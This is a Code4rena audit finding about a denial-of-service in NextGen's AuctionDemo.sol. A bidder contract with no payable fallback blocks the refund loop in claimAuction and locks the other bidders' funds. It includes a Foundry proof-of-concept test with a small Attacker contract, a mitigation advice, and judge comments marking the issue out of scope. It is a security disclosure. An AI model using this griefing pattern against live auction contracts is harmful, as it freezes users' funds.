Auction winner can't receive its NFT and funds blocked on auction contract.

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L113
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Impact

• Auction winner can't claim its NFT.
• Funds of auction participants are blocked on an action contract.

Proof of Concept

In AuctionDemo.sol after an auction ended winner or admin can use claimAuction() function, winner receive an NFT, other bidders receive their funds back.

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120

Moreover, this function lack of return value check as says in bot report.

    ...
if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
    IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
    (bool success, ) = payable(owner()).call{value: highestBid}("");
    emit ClaimAuction(owner(), _tokenid, success, highestBid);
} else if (auctionInfoData[_tokenid][i].status == true) {
    (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
    ...

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L113

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L116

When we implement a return value check this function is still vulnerable.

If a bid made from smart contract account without payable receive/fallback function claim operation can't be executed as expected: auction winner will not receive its NFT and funds of auction participants will be blocked on an auction contract forever.

Link to gist with the test that shows exploit scenario

To make test work properly, first you must implement a return value check in claimAuction() function:

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
    require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
    auctionClaim[_tokenid] = true;
    uint256 highestBid = returnHighestBid(_tokenid);
    address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
    address highestBidder = returnHighestBidder(_tokenid);
    for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
        if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
            IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
            (bool success, ) = payable(owner()).call{value: highestBid}("");
++          require(success, "NFT transfer error");
            emit ClaimAuction(owner(), _tokenid, success, highestBid);
        } else if (auctionInfoData[_tokenid][i].status == true) {
            (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
++          require(success, "refund error");
            emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
        } else {}
    }
}

The test itself:
To run it use: forge test --mt test_BlockingBiddersFunds -vvv.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {console2, Test, StdStyle} from "forge-std/Test.sol";
import {NextGenCore} from "src/NextGenCore.sol";
import {NextGenAdmins} from "src/NextGenAdmins.sol";
import {NextGenMinterContract} from "src/MinterContract.sol";
import {DelegationManagementContract} from "src/NFTDelegation.sol";
import {randomPool} from "src/XRandoms.sol";
import {NextGenRandomizerNXT} from "src/RandomizerNXT.sol";
import {auctionDemo} from "src/AuctionDemo.sol";

contract POC_BlockingBiddersFunds is Test {
    NextGenCore public nextGenCore;
    NextGenMinterContract public nextGenMinterContract;
    NextGenAdmins public nextGenAdmins;
    DelegationManagementContract public delegationManagementContract;
    randomPool public _randomPool;
    NextGenRandomizerNXT public nextGenRandomizerNXT;
    auctionDemo public _auctionDemo;

    Attacker public attacker;

    address public alice;
    address public bob;
    address public steve;
    address public greg;
    address public owner;
    address public attackerAddress;

    function setUp() external {

        alice = vm.addr(0xB44DE);
        bob = vm.addr(0x1DE);
        steve = vm.addr(0x1DA);
        greg = vm.addr(0x13E);
        owner = vm.addr(0xA11CE);
        attackerAddress = vm.addr(0xACA);
        
        vm.label(alice, "alice");
        vm.label(bob, "bob");
        vm.label(steve, "steve");
        vm.label(greg, "greg");
        vm.label(owner, "owner");
        vm.label(attackerAddress, "attacker");

        uint256 initialAmount = 100e18;
        vm.deal(alice , initialAmount);
        vm.deal(bob , initialAmount);
        vm.deal(steve , initialAmount);
        vm.deal(greg , initialAmount);
        vm.deal(owner , initialAmount);
        vm.deal(attackerAddress, initialAmount);

        vm.startPrank(owner);

        nextGenAdmins = new NextGenAdmins();
        _randomPool = new randomPool();
        nextGenCore = new NextGenCore(
            "Next Gen Core",
            "NEXTGEN",
            address(nextGenAdmins)
        );

        nextGenRandomizerNXT = new NextGenRandomizerNXT(
            address(_randomPool),
            address(nextGenAdmins),
            address(nextGenCore)
        );

        delegationManagementContract = new DelegationManagementContract();

        nextGenMinterContract = new NextGenMinterContract(
            address(nextGenCore),
            address(delegationManagementContract),
            address(nextGenAdmins)
        );

        nextGenCore.addMinterContract(address(nextGenMinterContract));

        _auctionDemo = new auctionDemo(
            address(nextGenMinterContract),
            address(nextGenCore),
            address(nextGenAdmins)
        );
        vm.stopPrank();

        vm.startPrank(attackerAddress);
        attacker = new Attacker(_auctionDemo);
        vm.stopPrank();
    }

    function test_BlockingBiddersFunds() external {

        vm.startPrank(owner);
        nextGenAdmins.registerAdmin(alice, true);
        vm.stopPrank();

        string[] memory collectionScripts = new string[](1);
        collectionScripts[0] = "new collection script";

        vm.startPrank(alice);
        nextGenCore.createCollection(
            "cartlex-collection",
            "cartlex",
            "music collection from cartlex",
            "collection-website",
            "collection-license",
            "collection-baseURI",
            "collection-library",
            collectionScripts
        );
        vm.stopPrank();

        vm.startPrank(owner);
        nextGenCore.addRandomizer(1, address(nextGenRandomizerNXT));
        nextGenAdmins.registerCollectionAdmin(1, alice, true);
        vm.stopPrank();

        vm.startPrank(alice);
        nextGenCore.setCollectionData(1, alice, 10_000, 20_000, block.timestamp + 1 days);
        nextGenCore.artistSignature(1, "skrillex");

        vm.warp(block.timestamp + 5 days);

        {    
            uint256 collectionId = 1;
            uint256 collectionMintCost = 1 ether;
            uint256 collectionEndMintCost = 0.1 ether;
            uint256 rate = 0.1 ether;
            uint256 timePeriod = 1 days;
            uint8 salesOption = 2;
            address delAddress = address(delegationManagementContract);
            nextGenMinterContract.setCollectionCosts(collectionId, collectionMintCost, collectionEndMintCost, rate, timePeriod, salesOption, delAddress);
        }

        {
            uint256 collectionID = 1;
            uint256 allowlistStartTime = block.timestamp;
            uint256 allowlistEndTime = block.timestamp + 1 days;
            uint256 publicStartTime = block.timestamp + 1 days;
            uint256 publicEndTime = block.timestamp + 2 days;
            bytes32 merkleRoot = bytes32(0);
            nextGenMinterContract.setCollectionPhases(collectionID, allowlistStartTime, allowlistEndTime, publicStartTime, publicEndTime, merkleRoot);
        }
      
        {
            string memory tokenData = "bob";
            uint256 saltfuno;
            uint256 collectionId = 1;
            uint256 auctionEndTime = block.timestamp + 7 days;
            nextGenMinterContract.mintAndAuction(bob, tokenData, saltfuno, collectionId, auctionEndTime);
        }

        vm.stopPrank();

        vm.startPrank(bob);
        nextGenCore.approve(address(_auctionDemo), 10000000000);
        vm.stopPrank();

        vm.startPrank(greg);
        uint256 bobTokenId = 10000000000;
        _auctionDemo.participateToAuction{value: 0.01 ether}(bobTokenId);
        vm.stopPrank();

        vm.startPrank(steve);
        _auctionDemo.participateToAuction{value: 0.02 ether}(bobTokenId);
        vm.stopPrank();

        vm.startPrank(attackerAddress);
        attacker.bid{value: 0.5 ether}(bobTokenId);
        vm.stopPrank();

        vm.startPrank(steve);
        _auctionDemo.participateToAuction{value: 1 ether}(bobTokenId);

        vm.warp(block.timestamp + 7 days + 1);

        vm.expectRevert("refund error");
        _auctionDemo.claimAuction(bobTokenId);
        vm.stopPrank();

        console2.log(StdStyle.cyan("Refund blocked due to one of the bidders is a smart contract without payable receive/fallback"));
    }
}

contract Attacker {
    auctionDemo public auctionDemo_;

    constructor(auctionDemo _auctionDemo) {
        auctionDemo_ = _auctionDemo;
    }

    function bid(uint256 tokenId) external payable {
        auctionDemo_.participateToAuction{value: msg.value}(tokenId);
    }
}

Tools Used

Foundry, manual review.

Recommended Mitigation Steps

Consider to implement withraw() function to allow each bidder receives its funds back independently instead of using for loop.

Assessed type

DoS

[c4-pre-sort]

141345 marked the issue as duplicate of #843

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #2006

[c4-judge]

alex-ppg marked the issue as unsatisfactory:
Out of scope

[c4-judge]

alex-ppg marked the issue as unsatisfactory:
Out of scope